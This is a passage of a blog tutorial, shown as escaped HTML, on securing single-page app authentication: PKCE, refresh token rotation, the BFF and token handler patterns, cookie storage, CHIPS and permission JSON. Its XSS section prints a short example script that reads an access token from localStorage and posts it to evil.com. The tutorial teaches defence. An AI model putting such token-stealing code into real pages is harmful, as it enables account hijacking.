&lt;/ul&gt;

&lt;p&gt;So as of 2025, Implicit Flow has been completely deprecated. It was removed from the OAuth 2.1 standard.&lt;/p&gt;

&lt;h2 id=&quot;3-xss-the-most-dangerous-enemy&quot;&gt;3. XSS: The Most Dangerous Enemy&lt;/h2&gt;

&lt;p&gt;The biggest threat to public clients is &lt;strong&gt;XSS (Cross-Site Scripting)&lt;/strong&gt; attacks. SPAs depend on countless npm packages and CDN scripts. If even one gets infected or your code has vulnerabilities, attackers can execute malicious scripts to steal tokens.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Attacker&apos;s malicious script&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;token&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;localStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;access_token&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://evil.com/steal&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;token&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Unlike server-side sessions, tokens like JWT carry authority themselves. Once stolen, attackers can call any API as if they were the user.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;solution-1-pkce-based-authorization-code-flow&quot;&gt;Solution 1: PKCE-based Authorization Code Flow&lt;/h1&gt;

&lt;p&gt;If you’re hosting your SPA statically on S3 or a CDN without a backend, you need to handle authentication in the browser alone. The only standard for this is the &lt;strong&gt;PKCE (Proof Key for Code Exchange)&lt;/strong&gt; enabled Authorization Code Flow.&lt;/p&gt;

&lt;h2 id=&quot;what-is-pkce&quot;&gt;What Is PKCE?&lt;/h2&gt;

&lt;p&gt;PKCE (pronounced “pixie”) was originally designed for mobile apps but is now the standard for all public clients. The core concept is creating and verifying a &lt;strong&gt;dynamic secret&lt;/strong&gt;.&lt;/p&gt;

&lt;h3 id=&quot;how-it-works&quot;&gt;How It Works&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Generate Code Verifier:&lt;/strong&gt; The client generates a cryptographically random string
    &lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;codeVerifier&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;generateRandomString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;128&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Derive Code Challenge:&lt;/strong&gt; Hash the verifier with SHA-256
    &lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;codeChallenge&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;base64url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sha256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;codeVerifier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Authentication Request:&lt;/strong&gt; Send the challenge to the auth server
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/authorize?code_challenge=E9M...&amp;amp;code_challenge_method=S256
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Token Exchange:&lt;/strong&gt; After receiving the authorization code, send the original verifier
    &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/token?code=abc123&amp;amp;code_verifier=original_random_string
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Verification:&lt;/strong&gt; The server hashes the verifier and compares it with the initial challenge&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;why-is-this-secure&quot;&gt;Why Is This Secure?&lt;/h3&gt;

&lt;p&gt;Even if an attacker intercepts the authorization code during the redirect, it’s useless. To exchange it for tokens, they need the original &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;code_verifier&lt;/code&gt;, which can’t be reconstructed due to the hash’s preimage resistance. &lt;strong&gt;Attackers have the code but can’t get the token.&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;pkces-limitations-and-refresh-token-rotation&quot;&gt;PKCE’s Limitations and Refresh Token Rotation&lt;/h2&gt;

&lt;p&gt;PKCE protects the authorization code, but ultimately the issued tokens must be stored in the browser. The XSS risk still exists. To mitigate this, &lt;strong&gt;Refresh Token Rotation&lt;/strong&gt; is essential.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How It Works:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Make refresh tokens single-use&lt;/li&gt;
  &lt;li&gt;Issue a new refresh token every time you refresh the access token, immediately revoking the previous one&lt;/li&gt;
  &lt;li&gt;If someone tries to refresh using an already-used (stolen) token, the server recognizes &lt;strong&gt;“Token theft!”&lt;/strong&gt; and invalidates all tokens in that token family&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This logs out both the attacker and the legitimate user, but it’s a powerful defense that blocks attack persistence.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;solution-2-bff-backend-for-frontend-pattern&quot;&gt;Solution 2: BFF (Backend for Frontend) Pattern&lt;/h1&gt;

&lt;p&gt;The best architecture &lt;strong&gt;strongly recommended&lt;/strong&gt; by IETF and security experts. The philosophy is simple:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;“No Tokens in the Browser”&lt;/strong&gt;&lt;/p&gt;

&lt;h2 id=&quot;understanding-bff-architecture&quot;&gt;Understanding BFF Architecture&lt;/h2&gt;

&lt;p&gt;BFF places a dedicated backend between the SPA and API servers. This backend can be a lightweight server implemented in Node.js, .NET, or Java, or an API gateway plugin.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[Browser] ←→ [BFF] ←→ [Auth Server]
             ↓
         [API Server]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;how-it-works-1&quot;&gt;How It Works&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Confidential Client Transformation:&lt;/strong&gt; BFF runs in a server environment, so it can safely manage &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;client_secret&lt;/code&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Token Hiding:&lt;/strong&gt; When users log in, the BFF communicates with the auth server to receive tokens. &lt;strong&gt;The important part is these tokens are never sent to the browser.&lt;/strong&gt; Tokens are stored only in BFF’s memory, Redis, or encrypted cookies.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Session Cookie Issuance:&lt;/strong&gt; The BFF gives the SPA a session cookie with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpOnly&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Secure&lt;/code&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SameSite&lt;/code&gt; attributes instead of tokens. This cookie is just an identifier, with no JWT payload or anything like that.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Proxy Role:&lt;/strong&gt; When the SPA calls an API and sends the cookie to the BFF, the BFF validates the cookie, finds the actual access token, and injects it into the API request’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Authorization&lt;/code&gt; header before forwarding.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;bffs-security-advantages&quot;&gt;BFF’s Security Advantages&lt;/h2&gt;

&lt;h3 id=&quot;complete-xss-defense&quot;&gt;Complete XSS Defense&lt;/h3&gt;

&lt;p&gt;The browser only has an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpOnly&lt;/code&gt; cookie that JavaScript can’t read. Even if XSS attackers execute malicious scripts, they &lt;strong&gt;cannot steal the token itself&lt;/strong&gt;. At most they can make requests using the user’s session, but that’s preventable with CSRF defenses.&lt;/p&gt;

&lt;h3 id=&quot;centralized-access-control&quot;&gt;Centralized Access Control&lt;/h3&gt;

&lt;p&gt;The BFF can filter API responses or aggregate data from multiple microservices before delivering it to the frontend. This solves over-fetching problems and simplifies frontend logic.&lt;/p&gt;

&lt;h3 id=&quot;complexity-isolation&quot;&gt;Complexity Isolation&lt;/h3&gt;

&lt;p&gt;You can isolate complex authentication logic like token refresh, error handling, and logout to the backend, letting SPA code focus on business logic.&lt;/p&gt;

&lt;h2 id=&quot;token-handler-pattern-bff-lite&quot;&gt;Token Handler Pattern: BFF Lite&lt;/h2&gt;

&lt;p&gt;One implementation of the BFF pattern, the token handler pattern &lt;strong&gt;specializes only in security features&lt;/strong&gt; instead of relaying all APIs. It’s an approach proposed by companies like Curity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Components:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;OAuth Agent:&lt;/strong&gt; Handles only token issuance, refresh, and cookie issuance&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;OAuth Proxy:&lt;/strong&gt; Operates at the API gateway level to validate cookies and exchange them for tokens&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Benefit:&lt;/strong&gt; You can statically deploy your SPA to a CDN while leveraging API gateways to gain BFF’s security benefits. You can enhance security with just infrastructure configuration without writing separate BFF server code.&lt;/p&gt;

&lt;hr /&gt;
&lt;script async=&quot;&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;

&lt;!-- 컨텐츠내 --&gt;
&lt;p&gt;&lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-3234744071843247&quot; data-ad-slot=&quot;1671969273&quot; data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
—&lt;/p&gt;
&lt;h1 id=&quot;localstorage-vs-cookie-the-never-ending-debate&quot;&gt;LocalStorage vs Cookie: The Never-Ending Debate&lt;/h1&gt;

&lt;p&gt;This is an eternal debate among SPA developers: “Where should I store tokens?” This issue involves a tradeoff between two attack vectors: XSS and CSRF.&lt;/p&gt;

&lt;h2 id=&quot;pros-and-cons-comparison&quot;&gt;Pros and Cons Comparison&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Storage Method&lt;/th&gt;
      &lt;th&gt;XSS Vulnerability&lt;/th&gt;
      &lt;th&gt;CSRF Vulnerability&lt;/th&gt;
      &lt;th&gt;Persistence&lt;/th&gt;
      &lt;th&gt;Characteristics&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;LocalStorage / SessionStorage&lt;/td&gt;
      &lt;td&gt;Very High ⚠️&lt;/td&gt;
      &lt;td&gt;Low ✅&lt;/td&gt;
      &lt;td&gt;Until browser closes&lt;/td&gt;
      &lt;td&gt;Immediately accessible via JS. Instantly stolen on XSS. &lt;strong&gt;Not recommended&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;In-Memory (JS variables)&lt;/td&gt;
      &lt;td&gt;High ⚠️&lt;/td&gt;
      &lt;td&gt;Low ✅&lt;/td&gt;
      &lt;td&gt;Lost on page reload&lt;/td&gt;
      &lt;td&gt;Not stored on disk but memory dump possible via XSS. Re-login on every refresh&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;HttpOnly Cookie&lt;/td&gt;
      &lt;td&gt;Low ✅&lt;/td&gt;
      &lt;td&gt;High ⚠️&lt;/td&gt;
      &lt;td&gt;Based on expiry settings&lt;/td&gt;
      &lt;td&gt;JS access blocked. Can’t steal token itself via XSS. &lt;strong&gt;Recommended&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h2 id=&quot;xss-vs-csrf-which-is-more-dangerous&quot;&gt;XSS vs CSRF: Which Is More Dangerous?&lt;/h2&gt;

&lt;p&gt;Many developers mistakenly think “Cookies are vulnerable to CSRF, so LocalStorage is better.” But security experts’ views are the opposite.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;XSS’s Destructive Power:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Once tokens are stolen, attackers can call APIs and hijack accounts anytime, anywhere without user involvement&lt;/li&gt;
  &lt;li&gt;Defense is practically impossible&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;CSRF’s Defensibility:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Attacks are only possible when users have their browsers open&lt;/li&gt;
  &lt;li&gt;Can be defended near-perfectly with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SameSite&lt;/code&gt; cookie policies and Anti-CSRF tokens&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Conclusion:&lt;/strong&gt; Even though CSRF risks exist (but are defensible), we should use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpOnly&lt;/code&gt; cookies to prevent undefendable token theft (XSS). This is the core philosophy of the BFF pattern.&lt;/p&gt;

&lt;h2 id=&quot;the-browsers-future-chips&quot;&gt;The Browser’s Future: CHIPS&lt;/h2&gt;

&lt;p&gt;Third-party cookie blocking policies have been a major obstacle to maintaining authentication for SPAs embedded in iframes (chat widgets, payment modules, etc.). To solve this, browser vendors like Google introduced &lt;strong&gt;CHIPS (Cookies Having Independent Partitioned State)&lt;/strong&gt; technology.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How It Works:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;abc123&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Partitioned&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Secure&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;SameSite&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;None&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Adding the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Partitioned&lt;/code&gt; attribute stores cookies in isolated storage per top-level site. Cookies for your service embedded in Site A aren’t shared with Site B. This blocks third-party tracking while allowing normal session maintenance for embedded apps.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;authorization-management-frontend-backend-synchronization&quot;&gt;Authorization Management: Frontend-Backend Synchronization&lt;/h1&gt;

&lt;p&gt;If authentication is about “who is this person,” authorization is about “what can this person do.” SPAs face the complex challenge of synchronizing backend authorization logic with frontend UI state.&lt;/p&gt;

&lt;h2 id=&quot;beyond-rbac-to-permission-centric&quot;&gt;Beyond RBAC to Permission-Centric&lt;/h2&gt;

&lt;p&gt;In the past, we simply passed role information like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;role: &apos;admin&apos;&lt;/code&gt; to the frontend. But as business gets complex, this hits limitations.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;“Managers can edit articles” → Simple&lt;/li&gt;
  &lt;li&gt;“Managers can only edit articles from their department” → Can’t express with role names alone&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So the latest trend is &lt;strong&gt;delivering specific permission lists in JSON format&lt;/strong&gt;.&lt;/p&gt;

&lt;h2 id=&quot;efficient-permission-json-structure-casl-style&quot;&gt;Efficient Permission JSON Structure (CASL Style)&lt;/h2&gt;

&lt;p&gt;We recommend a structure compatible with the widely-used CASL library in the JavaScript ecosystem:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;user&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;u123&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;roles&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;editor&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;permissions&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;action&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;read&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;subject&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Article&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;action&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;update&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;subject&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Article&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;conditions&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;authorId&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;${user.id}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;status&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;draft&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;action&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;delete&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;subject&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Comment&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;inverted&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Interpretation:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Can read all Articles&lt;/li&gt;
  &lt;li&gt;Can update Articles only if author is self and status is draft&lt;/li&gt;
  &lt;li&gt;Can never delete Comments (inverted: true → Deny rule)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;synchronization-strategy&quot;&gt;Synchronization Strategy&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Core Principle: “Security on the server, UX on the client”&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;API Is the Source of Truth:&lt;/strong&gt; Actual data access control must be performed on the API server. Frontend logic can be bypassed, so never trust it.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Synchronization Mechanism:&lt;/strong&gt; When users log in or load pages, call an endpoint like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/my-permissions&lt;/code&gt; to fetch the permission JSON.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;UI Control:&lt;/strong&gt; Store the received JSON in a global state manager like Pinia (Vue) or Context API (React). Then control the UI with custom directives or components:&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-vue highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;&amp;lt;!-- Vue example --&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;button&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;v-can=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&apos;update&apos;, post&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;Edit Post&lt;span class=&quot;nt&quot;&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-jsx highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// React example&lt;/span&gt;
